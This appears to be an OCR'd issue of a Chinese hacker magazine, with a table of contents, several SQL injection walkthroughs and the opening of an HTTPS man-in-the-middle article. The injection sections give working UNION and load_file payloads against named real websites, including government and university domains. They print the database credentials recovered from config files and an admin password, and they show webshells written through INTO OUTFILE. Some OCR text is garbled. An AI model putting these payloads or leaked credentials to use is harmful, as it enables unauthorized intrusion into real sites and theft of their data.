SECURITY REFERENCE

нтте://шшш.насксто.com-

《安全参考》杂志组织机构名单

主办单位 《安全参考》杂志编辑部

协办单位 (按合作时间先后顺序排列)

法客论坛

Sh3llC0de 安全小组

习科信息技术团队

BisecTeam

Pax.Mac Team

网络安全攻防实验室 www.91ri.org

www.sh3llc0de.com

team.f4ck.net

bbs.blackbap.org

bbs.bis-gov.com

www.paxmac.org

Disc Forbid Security Team www.discforbid.com

《安全参考》编辑部组成人员名单

(按首字母顺序排列)

总编辑	adwin					
主编	A11rise	Adm1n	DM_	left	Tr0jan	小杰
	小小鸟					
责任编辑	D.L	IceSn0w	xiaohui	宝-宝	梵幻	飞云
	混蛋	桔子	冷鹰	叛逆的	007	仙人掌
	游风	张公锦				
特约编辑	Air@root	kit Cr	Oss1n	Nick	UingC)7
	Yoki	梧桐雨				

長日

第一章 专员	题: 深入浅出讲 SQL 注入[续]	1
第1节	PHP+MySql 注入 load_file 应用实例	1
第2节	php+MySql 注入读写文件进入虚拟主机网站	2
第3节	MySQL+jsp 注入一则 - Tomcat 找路径技巧	6
第4节	搞定联合查询注入字段间编码不同无法显示问题	8
第5节	再谈联合查询注入字段间编码不同无法显示内容问题	10
第6节	php+MySQL注入:字段数正确页面数字跳转问题	10
第二章 底川	昙协议安全	11
第1节	HTTPS 协议分析与报文截获(一):详解理论篇	11
第2节	HTTPS 协议分析与报文截获(二):实战篇	14
第三章 权	限提升	
第1节	帮朋友搞个站+提权服务器(万网云服务器)	18
第2节	对天语手机官网的一次入侵	21
第3节	一次蛋疼的无技术渗透 PK 你大学	27
第四章 渗过	透测试	
第1节	习科作战故事: 仇杀 环环相扣	32
第2节	伪入侵	43
第五章 那些	些年我们一起学 XSS[续]	45
第1节	DOMXSS[显示输出]	45
第2节	DomXss 入门[隐式输出]	48
第3节	DomXss 进阶[邂逅 eval]	54
第4节	DomXss进阶[善变 iframe]	
第5节	DomXss 进阶[路径 con]	61
第6节	DomXss 实例[DiscuzX2.5]	65
第7节	FlashXss 入门[navigateToURL]	68
第8节	FlashXss 进阶[ExternalInterface.call 第一个参数]	72
第9节	FlashXss 进阶[ExternalInterface.call 第二个参数]	76
第10节	XSS 过滤器绕过[通用绕过]	81
第11节	XSS 过滤器绕过[猥琐绕过]	82
第12节	存储型 XSS 入门[什么都没过滤]	85
第13节	存储型 XSS 入门[套现绕过富文本]	
第14节	存储进阶[猜测规则,利用 FlashaddCallback]	90
第六章 社会	会工程学	
第1节	精彩连环社与 discuz 的巧妙利用	94
第2节	买手机引发的跨过社工案	
第3节	由名字引起的风波-悄悄打枪某软件工作室	
第七章 加額	密解密与逆向工程	113
第1节	TTP 脱壳小记	113
第2节	SHE 异常原理和在免杀中的利用	

第一章 专题: 深入浅出讲 SQL 注入[续]

第1节 PHP+MySql 注入 load_file 应用实例

作者: YoCo Smart

来自: Silic Group Hacker Army

网址: http://bbs.blackbap.org/

*注: 文中的实例以及截图来自 Silic Group Hacker Army 成员 Juliet

要说 php+MySql 注入的时候, 5.X 版本爆表爆字段确实比较痛快, 可是碰到了 4.x 版本的时候, 爆表爆字段不能用, 怎么办呢?

不管 4.x 还是 5.x 的版本,都有一个读取文件的函数,它就是 load_file()

我们来看一个实例,目标网站:www.tup.edu.ph

(使用的是 5.x 版本作为例子)

注入点:

http://www.tup.edu.ph/article.php?id=bulletin&bID=9+and+1=2+union+select+1,2,3,4,5,6

根据错误回显,物理路径应该是:

C:\wamp\www\article.php

再根据

http://www.tup.edu.ph/article.php?id=bulletin&bID=9+and+1=2+union+select+1,2,concat(versio

n(),0x5c,database(),0x5c,user()),4,5,6+from+mysql.user

得到数据库的信息是: 5.0.27-community-nt\tupcms\root@localhost

虽然是 5.x 的数据库,但是不用那么麻烦了, root 权限哪!

http://www.tup.edu.ph/article.php?id=bulletin&bID=9+and+1=2+union+select+1,2,hex(load_file(0x433A5C77616D705C7777775C627574636865725C636F6E6669672E706870)),4,5,6

注入语句里的 0x433A5C77616D705C777775C627574636865725C636F6E6669672E706870 转换格式就是 C:\wamp\www\butcher\config.php

(有的人不喜欢用 hex,不过对于一些韩国啊、日本的网站,用 hex 的话可以防止编码问题 带来的内容缺字符丢失,个人认为一些注释之类的东西还是蛮重要的。)

这样就得到了 C:\wamp\www\butcher\config.php 原始代码, 如图 1.1.1

3C3F7068700D0A2F2F636F6E6669672E7068700D0A24686F73743D226C6F63616C686F7374223 B0D0A24757365723D22726F6F74223B0D0A24706173733D226B6F616C6173223B0D0A2464626 173653D22747570636D73223B0D0A3F3E



图 1.1.1 config.php 的代码

使用 WinHex 转换格式后得到:

php</th
//config.php
\$host="localhost";
\$user="root";
\$pass="koalas";
\$dbase="tupcms";
?>

这个就是这个数据库 root 账户的信息了

后记:

你可以自己注,要是不怕浏览器卡的话。

http://www.tup.edu.ph/article.php?id=bulletin&bID=9+and+1=2+union+select+1,2,GROUP_CON CAT(DISTINCT+table_name),4,5,6+from+information_schema.columns+where+table_schema=0x 747570636D73

access, admin, alumbulletin, alumni, announcements, bids, bulletin, careers, childpage, course, courses, events, faculty, fail, freshmen, image, module, news, option, pages, passers, staff, student_research, su bpage, users, welcome

http://kal.upd.edu.ph/news.php?id=130+and+1=2+union+select+1,2,3,4,GROUP_CONCAT(DISTIN CT+table_name),6,7,8,9,0+from+information_schema.columns+where+table_schema=0x646275 706B616C

(全文完)责任编辑: 随性仙人掌

第2节 php+MySql 注入读写文件进入虚拟主机网站

作者: YoCo Smart

来自: Silic Group Hacker Army

网址: http://bbs.blackbap.org/

注入的第一个阶段可以看这里:

http://bbs.blackbap.org/viewthread.php?tid=732

我们可以看到,虽然管理员的账户密码出来了,但是显然并没有直接上传 webshell 成功, 上传之后的目录设置了执行权限,而 php 插入一句话木马不奏效,没有单独的配置文件, 而是放数据库里了。

好吧。我们重新看这服务器上的网站,有很多惠东的 gov.cn

上一个已经讲过了,就不讲了,我们看这个:

http://www.hdgl.gov.cn/gzdt_read.php?id=85

加引号,如图 1.2.1

#ISSN#ERCOR - Windows Internet Explorer		water and the second
O C + E http://www.bdgl.gov.zo/goth_read.phg?id=85	• 🖯 • 🗙 👂 alter	ρ -
248 AAB UARS LARS LARS		
🔆 CRA 💋 #NOMTERCON	• E • C + C + FRO • FRO • •	IAQ·Q·
Marming: myspi_fetch_array(); supplied argument is not a valid NySKL result resource in 0	:\hdgl\czdt.read.php D	()

图 1.2.1 加引号报错

第 2页 /共 127页

出现如下字样:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in D:\hdgl\gzdt_read.php on line 29

look, 这是什么? 文件在服务器上的物理路径

那么我们来看一下 php+MySql 注入的稍微高级一丁点的用法,那就是 load_file

load_file 就是,加载文件呗!我们可以通过 load_file 查看网站的 MySql 配置信息

下一步就是看显示位,得到是8,2号显示位是标题处

后台显然是跟前面都一样的,估计上传目录肯定也做了执行权限,那么,找 MySql 数据库的 账户密码

方法有2,1是从数据库爆,2是从文件爆

数据库爆很简单, MySql 数据库的 user 字段

http://www.hdgl.gov.cn/gzdt_read.php?id=85+and+1=2+union+select+1,concat(user,0x5f,passwo rd),3,4,5,6,7,8+from+mysql.user

如图 1.2.2

		PA22 Ma21	THEFT	W THERE PROTOCOL IN TRACTORY & IN ADDR
	公路养护	 工程建设 	• 执法信息	* 理论研讨 * 水般拍给 * 安保工程
•	您现在的位置:	首页→ 工作结核	5	
	专题栏目	HORE:0	工作动态	
接头	兵实践活动			409800db_7819157c663cb79f
水路	R拍给			发表时间: 2000-00-05 浏览人数: 8 新闻来源: 3
治超	訂作		×	
論語	E TE LE			
规携	轻敬			
图片	物间			
•	公費程	наназу		0
. 8	和音乐在			· 习科 uliu
·	E 东公路管理局加	1801R		
. *	东公路管理县委	MILT.		O Owww.elackeap.

图 1.2.2

409800db_7819157c663cb79f

用户名为 409800db

密码加密后为 7819157c663cb79

版本为4

显然这个 MySql 加密解不开,那么采用第二种方法,直接 load_file 看配置文件 之前看到网站文件物理路径为:

D:\hdgl\gzdt_read.php

那么对其进行 hex 取值,也就是取它的 16 位编码:

0x443A5C6864676C5C677A64745F726561642E706870

load_file 在注入里的用法是:

+union+select+1,2,3,hex(load_file(路径的 hex 值)),5,6,7...,8

用法不唯一,我这个只是其中的一种而已。

当然,这个注入语句的后面你愿意加个 from+admin 随便你,我选的是 4 号显示位 得到最终的 load file 注入语句就是:

http://www.hdgl.gov.cn/gzdt_read.php?id=85+and+1=2+union+select+1,concat(user,0x5f,passwo rd),3,hex(load_file(0x443A5C6864676C5C677A64745F726561642E706870)),5,6,7,8+from+mysql.user

好了,这下看源代码,如图 1.2.3



图 1.2.3 页面源代码

这些就是 gzdt_read.php 这个文件原始的代码经过 hex 取值后的东西 复制后打开 WinHex,复制粘帖进去,格式选择: ASCII HEX

得到数据库连接信息:

「「」」「「」」「」「」」	En	지미	心:														
\$host="loca	lhos	t";															
\$user="jacky	/";																
\$pass="和谐	Ľ";																
Offset	0	1	2	3	4	5	6	- 7	8	9	10	11	12	13	14	15	A
00000000	00	3C	ЗF	OD	0A	OD	0A	66	75	6E	63	74	69	6F	6E	20	. function</td
00000016	74	6F	5F	68	74	6D	6C	28	24	73	74	72	29	7B	0D	0A	to_html(\$str){ 🗏
00000032	OD	0A	24	73	74	72	3D	73	74	72	5F	72	65	70	6C	61	\$str=str_repla
00000048	63	65	28	63	68	72	28	31	33	29	2C	22	3C	62	72	ЗE	ce(chr(13), "
00000064	22	2C	73	74	72	5F	72	65	70	6C	61	63	65	28	63	68	", str_replace(ch
00000080	72	28	33	32	29	2C	22	26	6E	62	73	70	ЗB	22	2C	68	r(32), " ", h
00000096	74	6D	6C	73	70	65	63	69	61	6C	63	68	61	72	73	28	tmlspecialchars(
00000112	24	73	74	72	29	29	29	ЗB	OD	0A	OD	0A	72	65	74	75	\$str)));retu
00000128	72	6E	20	24	73	74	72	ЗB	OD	0A	OD	0A	7D	0D	0A	OD	rn \$str;}
00000144	0A	24	68	6F	73	74	3D	22	6C	6F	63	61	6C	68	6F	73	.\$host="localhos
00000160	74	22	ЗB	0D	0A	0D	0A	24	75	73	65	72	3D	22	6A	61	t";\$user="ja
00000176	63	6B	79	22	ЗB	0D	A0	OD	- 0A	24	70	61	73	73	3D	22	cky";\$pass="
00000192	30	37	35	32	40	35	35	36	30	30	35	39	22	ЗB	0D	0A	CT020000009";
00000208	OD	0A	24	64	62	ЗD	22	67	6F	6E	67	6C	75	6A	75	22	\$db="gongluju"
00000224	ЗB	OD	0A	OD	0A	24	74	61	62	6C	65	ЗD	22	67	7A	64	;\$table="gzd
00000240	74	22	ЗB	OD	0A	OD	0A	24	66	70	ЗD	6D	79	73	71	6C	t″;\$fp=mysql
00000256	5F	63	6F	6E	6E	65	63	74	28	24	68	6F	73	74	2C	24	_connect(\$host,\$
00000272	75	73	65	72	2C	24	70	61	73	73	29	ЗВ	0D	0A	0D	0A	user, \$pass);
00000288	6D	79	73	71	6C	5F	73	65	6C	65	63	74	5F	64	62	28	mysql_select_db(
00000304	24	64	62	29	ЗB	OD	0A	OD	A 0	24	73	71	6C	ЗD	22	73	\$db);\$sql="s
00000320	65	6C	65	63	74	20	2A	20	66	72	6F	6D	20	24	74	61	elect * from \$ta
00000336	62	6C	65	20	77	68	65	72	65	20	69	64	ЗD	2/1	59	64	ble where id=\$id
00000352	22	ЗB	OD	0A	OD	0A	24	72	65	63	5F	69	64	βD	6D	79	";\$rec_id=my
00000368	73	71	6C	5F	71	75	65	72	79	28	24	73	71	6C	2C	31	sel_query(\$sql,\$
00000384	66	70	29	ЗB	OD	0A	OD	0A	24	72	65	63	3D	<u>6</u> D	79	75	To
00000400	71	6C	5F	66	65	74	63	68	5F	61	72	72	ĸſ	79	<u>2</u> A	₩Ŵ	WBLACKBAP.ORG
00000416	72	65	63	5F	69	64	29	ЗB	OD	0A	OD	0 A	24	68	69	74	rec_id);\$hit

图 1.2.4 数据库连接信息

第4页/共127页

亮点在这里:

function to_html(\$str){

\$str=str_replace(chr(13),"
",str_replace(chr(32)," ",htmlspecialchars(\$str)));
return \$str;

这就是传说中的过滤不严

注:前面数据库中爆出的用户跟这个不一样说明数据库有多个管理账户呗! 使用工具进行 MySql 连接,建表,写入 webshell 代码,如图 1.2.5

create table test (a text); QLyog drillte - MySQL OUT - [- jøcky@ 218.16.118.154"] (#(A) 73@(C faren 🔝 🗟 🛃 🧸 🐺 🤞 📢 🏹 Query Select a from mysgl.test into outfile '0r\\hdgl\\starttest.php H III func H III host 8 🔠 tables_priv H 100 tables_pri H 100 test H 100 test H 100 test H 100 test /插入/更新 81eb 李煦 「Tert Inage」 ② 没力 Fall 从文件物入 (基本部文件) i 💷 thwb_adminlog i 💷 thwb_ban -?ohp Sedmin[pass] = "sile"; Snotce = "::(Sile Group 服音作時音):: 巡察論問題"; snoyneme = "阿哈思时言題"; 1 II Unib board s III theb boardances I the boundary
 the boundary 🗉 💷 thub_pm # III theb.post a 🔠 theb.glink Q:364290237 _MBD:yeco_#... 90 B a III theb.rank a III thah sessi a 🔠 use its user_info netmac Denies. 习科silic pengd phpok (MG:00) [10.4 图 1.2.5 写入 webshell 代码

然后执行 MySql 语句:

select a from mysql.test into outfile 'D:\\hdgl\\atesttest.php'; 输出到刚才的路径即可。瞧,我们的马儿出现了,如图 1.2.6



图 1.2.6 访问 webshell 注: 重新看下写入的 webshell 的源码,每一个空行都多了一个\n 对不?

所以出现了

Warning: Unexpected character in input: '\' (ASCII=92) state=1

错误

这是因为 MySql 输出文件时,咱们平日用的回车他都会自动在上面\n 最为咱们用的回车。 所以一般直接写 webshell 都是写一句话,很少写大马,因为大马写出来常常不好用,就因 为多了个\n。解决方法就是在大马那上面每行结尾加个/*每行开头加个*/注释掉这个\n 再写 大马。(编者注:也可以用 select '内容' into dumpfile'文件绝对路径'来解决)

后记:另外关于 MySql 其他文件操作可以看看这里:

http://nana.blackbap.org/?p=archive&id=21

(全文完)责任编辑: 随性仙人掌

第3节 MySQL+jsp 注入一则 - Tomcat 找路径技巧

作者: YoCo Smart

来自: Silic Group Hacker Army

网址: http://bbs.blackbap.org/

前言:

知道什么是注入中的大爱吗? 注入里的大爱莫过于 Tomcat+jsp+MySQL 了,原因很简单, Tomcat 需要 SYSTEM 或者 root 的权限,而使用 jsp+MySQL 的又通常是 root, jsp 没有 php 类的 GPC

换句话说,这种环境的这种注入,只要有注入点,服务器就八九不离十

注入跟着数据库类型走,所以 jsp+MySQL 的注入与 php+MySQL 的注入的开始步骤几乎一致。 关于注入的基本步骤请出门左拐,本版有汇总贴。

首先看注入点:

.jsp?id=0'union+select+1,concat(database(),0x3a,user(),0x3a,version()),3,group_concat(user,0x3a,password,0x3a,file_priv,0x3a,host,0x3c62723e)+from+mysql.user%23

得到信息如图 1.3.1

h:root@localhost.localdomain:4.1.9-max

图 1.3.1 注入得到信息 第 6页 /共 127页 host 为%表示可以外链 MySQL 数据库,外链一个 host 为%且 file_priv 为 Y 的账户

解得 hash 为 jfyh5353

连接后确认为 root 权限,可以使用 SQL 语句

select jsp 一句话的 hex 编码 into outfile '/路径/webshell.jsp';

来获取 webshell

但是问题是, 服务器中的网站路径并不知道

读取了/etc/passwd 这个文件,获得几个比较敏感的路径 /var/www 和/home/criterion 两个路径,这两个路径以及后面加了/public_html 和/htdocs 的路径都不是网站路径。

这么看来只好读取 Tomcat 的配置文件

根据 linux 下 Apache 常见配置文件路径来猜 Tomcat, 根本就猜不出来。

不过这个时候我想到了一个问题。每次要进一个服务器,我们总会换位思考。如果我是那位 可爱可敬又可怜的管理员,我会怎么做。

于是我试着把自己比作搭建这台服务器的管理员,服务器没有 Apache,没有 php,我只搭 建 Tomcat 的话,环境变量我要写入/etc/profile 的

突然想起来,原来这么简单。于是:

select load_file('/etc/profile');

这样就获得了 Tomcat 的路径:

/usr/local/jakarta-tomcat-5.0.19



图 1.3.2 查询网站路径

直接读取这个目录下的/conf/server.xml 就获得了网站的路径。然后用 MySQL 将 webshell 写 入这个目录就获得了 webshell

(全文完)责任编辑: 随性仙人掌

第7页/共127页

第4节 搞定联合查询注入字段间编码不同无法显示问题

作者: YoCo Smart

来自: Silic Group Hacker Army

网址: http://bbs.blackbap.org/

注入的时候往往能碰到这样一种情况:有显示位,但是无法显示内容,甚至连 database()都 无法显示。今天找到一个绝好的例子来讲这样的一种情况。

注入点:

http://www.tkfd.or.jp/research/theme/index.php?id=1

导致这种情况出现的原因是当 union 联合起两个字段的时候,字段之间的编码不同,导致执行失败而无法显示。解决这种问题的方法很简单,就是用 hex()来解决。

根据猜解,这个注入点的字段数为7,这样的话,我们就构造注入语句如下:

http://www.tkfd.or.jp/research/theme/index.php?id=1+and+1=2+union+select+1,2,3,4,5,6,7/*

虽然有7个字段,但是并不是7个字段都有显示,只有6号位置能显示内容。如图1.4.1

🏉 政策研究テーマ | 政策研究・提言・東京財団 - THE TOKYO FOUNDATION - Windows Internet Explorer

Inttp://www.tkfd.or.jp/research/theme/index.php?id=1+and+1=2+union+select+1,2,3,4,5,6,7/*

文件(F) 编辑(E) 查看(V) 收藏夹(A) 工具(T) 帮助(H)

🚖 收藏夹 🧭 政策研究テーマ | 政策研究・提言 - 東京財団 - ...



图 1.4.1 找到显示位

首先测试一下,看一下数据库名称:

http://www.tkfd.or.jp/research/theme/index.php?id=1+and+1=2+union+select+1,2,3,4,5,databas e(),7/*

但是系统显示执行失败了,如图 1.4.2

 ☆ 仮羅史 ※ 改集研究テーマ 改集研究・提言・東京財団 *English 東京財団 PaTokyo Poundation 政策をつくる・人を育てる・社会を変 政策研究について 政策研究について 政策研究テーマ ・経済政策 ・日は保全・環境 ・日本ルギー政策 ・技治・行政 ・投援用性 	文件(F) 編編(E) 宣看(V) 収録	adorgp/research/theme/index.phprid=1+and+1=2+union+select+1,2,3,4,5,database(),7/* 藏夹(A) 工具(T) 解助(H)
*English 政策をつくる・人を育てる・社会を変 東京財団 Pointation 東京財団 Pointation 東京財団 Pointation 政策研究について レップページ > 設筆研究 > 設筆研究 > ご 政策研究テーマ ● ● 経済政策 ● 日土保全・環境 ● エネルギー改策 ● 技治・行政 ● 地域再生	🎽 欧麗夹 🏾 🌈 政策研究テーマ	? 政策研究・提言 - 東京財団
 東京村温とは # 星音 報告書 研究員 * イベント * メルマガ * お知らせ * お問い合わせ * 地図 * サイトマップ 政策研究について 政策研究テーマ ・経済政策 ・低小財政・社会保障制度 ・金融政策 ・国土保全・環境 ・エネルギー政策 ・技術・行政 ・地域再生 	≪English 東京財団 ☆Tokyo Foundation	政策をつくる・人を育てる・社会を変え
政策研究について 政策研究テーマ ・ 総定設置 ・ 総定設置 ・ 総定的度 ・ 金融設置 ・ 国土保全・環境 ・ エネルギー設策 ・ 政策研究 ・ 政策研究 ・ 工本ルギー設策 ・ 政策研究 ・ 対策 ・ 工本ルギー設策 ・ 水平学生態 ・ 本語の定 ・ 大いギージ > 改集研究 > 改集研究 > マ > ・ ジェージ > の ・ ジェージ > の 、 フィ科 いびの 、 フィ科 いびの 、 フィ科 いびの	東京財話とは 提言・報告書	▶ 研究員 → イベント → メルマカ → お知らせ → お問い合わせ → 地図 → サイトマップ
A 2 4 3 10 10 / 0 * 1 / 0 1 /	心的那些。想	8
政策研究について トッブページ > 該策研究テーマ > ・超流飛放発 トッブページ > 該策研究テーマ > ・超流飛放発 ・ ビス・「おない」 ・ 国土保全・環境 ・ ビス・小平一政策 ・ 改治・行政 ・ レガージ ・ 地域両生 ・ レガージ	ACCOUNTED TO THE	1
	政策研究について	トップページ > 設施研究 > 設施研究テーマ >
 - 総済設施 - 税・財政・社会保障制度 - 金融設施 - 国主保全・環境 - 国主保全・環境 - 正ネル・年ー政策 - 改治・行政 - 地域両生 - 地域両生 	政策研究テーマ	
 ・ 税・財政・社会保障制度 ・ 金融政策 ・ 国主保全・環境 ・ 工キル・平一政策 ・ 政治・行政 ・ 地域 ・ ・ ・	A 48-102910	
 金融設定 国土保全・環境 エネルギー政策 政治・行政 地域両生 生物時間 	 ●税・財政・社会保障制度 	
 国土保全・環境 エネルギー政策 政治・行政 ・ 地域两生 ・ 地域内当 	 ◆ 金融股策 	
 エネルギー政策 政治・行政 ・政治・行政 ・ 別科 sili 	● 国土保全・環境	2
· 政治·行政 · 地域两生 · 地域两生	◆ エネルギー政策	
 地域两生 うれて SUU 	● 政治・行政	1、习书,:/:。
A 44-4-14-18	 ◆ 地域再生 	1 SAT SULC
• Emilit	 	() UWWW.BLACKBAP.C
		图 1 4 2 命令执行失败

既然显示位能显示 6 但是却不能显示 database()那说明问题八成是出在字段编码格式上面。 很简单的解决方法,使用 hex()将原本要查询的内容括起来再执行就可以了,然后将得到的 东西格式手动转换一下格式。

这样最后的查询语句就是:

http://www.tkfd.or.jp/research/theme/index.php?id=1+and+1=2+union+select+1,2,3,4,5,hex(con cat(database(),0x5f5f,user(),0x5f5f,version())),7/*

得到结果如图 1.4.3

次策研究テーマ 政策研究・提言	- 東京財団 - THE TOKYO FOUNDATION - Windows Internet Explorer	
🕒 🕒 💌 🔊 http://www.tkfd.o	rjp/research/theme/index.php?id=1+and+1=2+union+select+1,2,3,4,5,hex(concat/database(),0x5f,user(),0x5f,version())),7/*	•
文件(F) 编辑(E) 查看(V) 收藏共	E(A) 工具(T) 務批(H)	
🊖 牧蔵夫 🏾 🌈 政策研究テーマ 🛙	政策研究 · 操直 - 東京財団	-
政策研究·提言		
政策研究について	トップページ > 計算研究 > 設施研究テーマ >	
政策研究テーマ		
 - 経済政策 - 税・財政・社会保障制度 - 金融政策 	政策提言	
 ● 国土保全・環境 ● エネルギー政策 	●73716C5F64625F66752E6D783I2E78756974652E8A70486463362E85746975782E8A705F342E312E31322D6C6F67(運転日:01/01/00)	
 政治·行政 地域再生 	緊急声明	
 ・生命倫理 文化・文明 	● 73716C5F64825F66752E8D79382E78756974652E8A70486483382E85746975782E8A706F842E812E81322D6C6F67 (運動日:01/08/00)	
 制度研究 - 州京・田信時等 	論考	
 アッリカ 中国 	●73716C5F64825F66752E8D783I2E78756974852E8A70486483382E85746975782E8A706F342E312E31322D6C6F67(運動日:01/01/01/01/0	
* ユー ラ ジア	BŞäF	
研究員	●7371805F64625F66752E6D79382E78756974552E6A70486483852E55746975782E6A706F142E312E31322D606F67(更新日:01/01/00)	
現在進行中のプロジェクト		
過去のプロジェクト	ycuro ycuro	
政策研究·提言TOP	*71716C5F64625F66752E6D78312E737569745E2E8A70446463362E85746975732E8A705F342E312E312206C6F977H	r
		RC

图 1.4.3 得到查询结果

第 9页 /共 127页

得到的回显如下:

73716C5F64625F66752E6D79382E73756974652E6A70406463362E65746975732E6A705F342E3 12E31322D6C6F67 格式转换一下就是:

ql_db__fu.my8.suite.jp@dc6.etius.jp__4.1.12-log

注*前面查询语句里的 0x5f 就是最终回显里的两个下划线""

很容易就得到如下信息,

当前数据库名称为: ql db

当前数据库用户: fu.my8.suite.jp@dc6.etius.jp

数据库版本: 4.1.12-log

(全文完)责任编辑: 随性仙人掌

第5节 再谈联合查询注入字段间编码不同无法显示内容问题

作者:小D

来自: Silic Group Hacker Army

网址: http://bbs.blackbap.org/

首先我们来看这样的一个文章: 简单搞定联合查询注入字段间编码不同无法显示内容问题 http://bbs.blackbap.org/thread-1646-1-1.html

(小编按:作者所提到的文章可以参考第4节文章哦~)

这种 EUC 日本语言的网站用 hex 无可非议,但是如果遇到 utf-8 编码和 lang=en 啊西欧啊什 么的不兼容,这样 hex 来 unhex 去的,相当麻烦。其实在俄罗斯黑客那里还有个更简单的方 法。当然,函数还是函数,函数都是 MySQL 的,要看你怎么用了。

函数名称: convert()

作用:转换编码格式

在 MySQL 的编码格式中,有这么几种:gb2312 和 utf-8(当然还有,国内基本没有用的), 还有一个默认的 Latin1

如果显示位能显示数字,却无法显示 user()(判断编码不同这个问题我就不重复了。。。),就 可能是编码不同。这个时候用 convert 转换成 latin1 显示就行了。用法例如:

CONVERT(group concat(DISTINCT+user,0x3a,password,0x3a,host)+USING+latin1)

就这么简单。至于例子,自己找吧。convert 也不是个难记的函数。 补充一个最痛快的例子,就是 Mr.Cool 原文章中的:

http://www.gov.ai/vacancies/details.php?id=-1+UNION+SELECT+1,2,3,4,5,6,CONVERT(group con cat(DISTINCT+user,0x3a,password,0x3a,host)+USING+latin1)+from+mysql.user/*

(全文完)责任编辑: 随性仙人掌

第6节 php+MySQL 注入:字段数正确页面数字跳转问题

作者: YoCo Smart

来自: Silic Group Hacker Army

网址: http://bbs.blackbap.org/

写本文的目的是对注入的入门到精通系列文章的补充 问题描述:

该问题出现频率目测在千分之三左右,确认注入点后,使用 order by 可以正常猜解出字段数, 但是当使用 union select 的时候,页面出现异常 通常会跳转至这样一个页面: xxxx.com/n 其中 n 为某个数字,页面通常为 404 未找到,很像防注入程序 问题发生原因: 存在 SQL 注入的页面中的 SQL 语句,它所在的表段中,有一个字段是非数字型。一旦用 union select 数字,数字,数字....来替换了 order by 就会跳转 解决方法: 使用 null 来将这个异常的字段 n 来代替

实例:

http://www.gym-spa.com.tw/news.php?handle=detail&id=12'order+by+13%23

测试正常

注入点确认为字符型,字段数确认为13

http://www.gym-spa.com.tw/news.php?handle=detail&id=0'union+select+1,2,3,4,5,6,7,8,9,0,11, 22,33%23

3号位置有异常,页面跳转至3

http://www.gym-spa.com.tw/3

这种跳转的情况发生啦!我们用 null 替换掉 3 号位的数字

http://www.gym-spa.com.tw/news.php?handle=detail&id=0'union+select+1,2,null,4,5,6,7,8,conc at(database(),0x3a,user(),0x3a,version(),0x3a,@@datadir),0,11,22,33%23

网站路径: /home/gymspa/public_html/

数据库名: gymspa_data

数据库用户: gymspa_user@localhost

数据库版本: 5.0.95-community

数据路径: /var/lib/mysql/

后台登陆: /admin/login.php

管理员表: spa_user

管理员: admin/123456

(全文完)责任编辑: 随性仙人掌

第二章 底层协议安全

第1节 HTTPS 协议分析与报文截获(一): 详解理论篇

作者: Nick

来自: Disc Forbid Security Team

网址: http://www.discforbid.com/

前言:这段话是我在全部写完后加上的,我想说,所有的文字全部是我一个字一个字打出来的,全2篇一共写了6个多小时,不断地修改琢磨,绝对没有复制和抄袭网上任何资料,所以请大家不要有一个先入为主的概念,以为一般这些打段的文字都是作者复制的套话而不去看,请不要这样,希望你们能认真看完这些文字,都是我不断地推敲,最后修改好的精华部

分,绝对不会晦涩难懂,而且对后面的实战篇有着相当大的铺路作用,希望大家能耐着性子 认真读,我保证不会枯燥,中间会有一个惊喜的小插曲带给大家的!

正文: 什么是 HTTPS 协议? 难道和 HTTP 协议不一样么? 这个问题困惑了许多人已久,下面我们先来进行一个简单的介绍分析。

网上关于 HTTP 协议的分析很详细很多,我这里也就不班门弄斧了,因为这毕竟不是我们这 篇文章的重点。

我们只需知道 HTTP 协议重要的一点是 HTTP 协议是没有状态的,什么叫没有状态?

简单的来说,就是不具有对事务处理的记忆能力,你现在打开的这个服务器上的网页和你之前打开的这个服务器网页之间是没有任何关系的。

说到这里,很多人可能会想,那么 HTTP 是不是使用的是 UDP 协议(无连接)而不能保持 TCP 连接呢?当然不是!无状态并不代表 HTTP 不能保持 TCP 连接,更不能代表 HTTP 使 用的是 UDP 协议。这里要引出一个新的名词,Keep-Alive,意思是保持连接并存活。从 HTTP/1.1 起,Keep-Alive 都是默认打开的,当打开一个服务器上的网页时,客户端和服 务器之间用于传输 HTTP 数据的 TCP 连接并不会被关闭,如果客户端再一次访问这个服务 器上的网页时,会使用之前已经建立的这一条连接。但是 Keep-Alive 并不会永久性的存活 并保持这个连接,它有一个时间的限定,但是这个时间是可以在服务器端修改的,这里不是 重点!

接下来说 HTTPS,为什么会比 HTTP 多了一个 S 呢?这个 S 是 SSL 的简写,SSL 全称 Secure Socket Layer,加密套接字,HTTPS 采用 SSL 协议加密,严格的说,HTTPS 是 采用传输层 SSL+应用层 HTTP,要使用 HTTPS 协议,服务端需要在 ca 申请一个 PKI 证书。

为什么呢? 主要是为了防止数据通信过程中被泄密或者篡改,首先证明这个 server 就是他 自己声称的 server,客户端产生一个密钥, server 使用证书来交换密钥,完成一个握手的 过程,因为互相通讯的数据都是加密的,并且有一个密钥,即使被第三方截获,没有密钥也 就无法篡改。但是相对于 HTTP 的简单无状态来说,HTTPS 分明是异常繁琐的,这里不是 重点!最后说一些,HTTP 和 HTTPS 使用的 TCP 端口是不同的,HTTP 默认使用的是 80 端口,HTTPS 默认使用的是 443 端口。好了简单的分析结束,我已经尽最大努力使自己说 的通俗易懂并且把最核心最精华的内容讲给了大家,或许会有朋友会说我烦,讲这些没什么 实际用处的东西干嘛?我想说的是,如果不先简单的分析,那么之后也就是本文的重点内容, 没有基础的铺垫,是比较晦涩难懂的,希望能理解!

接下来我们开始探讨如何去截获报文,也就是通过 HTTPS 传输加密的数据,从而达到一个中间人攻击的效果。那么什么是中间人攻击呢?

我举个例子来说,比如说有一个叫王八伦的宅男,有一天他正在家里用他的个人 PC 和某网站的服务器之间进行数据通信交换并打开播放器播放影片,他的一个很喜欢计算机的朋友想知道王八伦看的影片质量如何,于是他充当了中间人,王八伦的个人 PC 和影片网站服务器都通过他的 PC 来进行数据转发。我个人认为大家可能还是没听懂,但是为了举这个例子大

第12页 /共127页

家就将就着下吧。下面我画一副图来帮助大家更好的理解什么是中间人攻击,如图 2.1.1



图 2.1.1 中间人攻击图示

好了,既然我们确定了基本思路,然后我们开始制定计划。依据以上思路我们需要用到两种 工具来完成对 HTTPS 加密的突破和截获报文,第一种工具是用来建立连接关系并进行 SSL 的嗅探,第二种工具是用来截获 HTTPS 的流量报文。一切都已明了,那我们开始选取工具。 第一种工具用什么好呢?

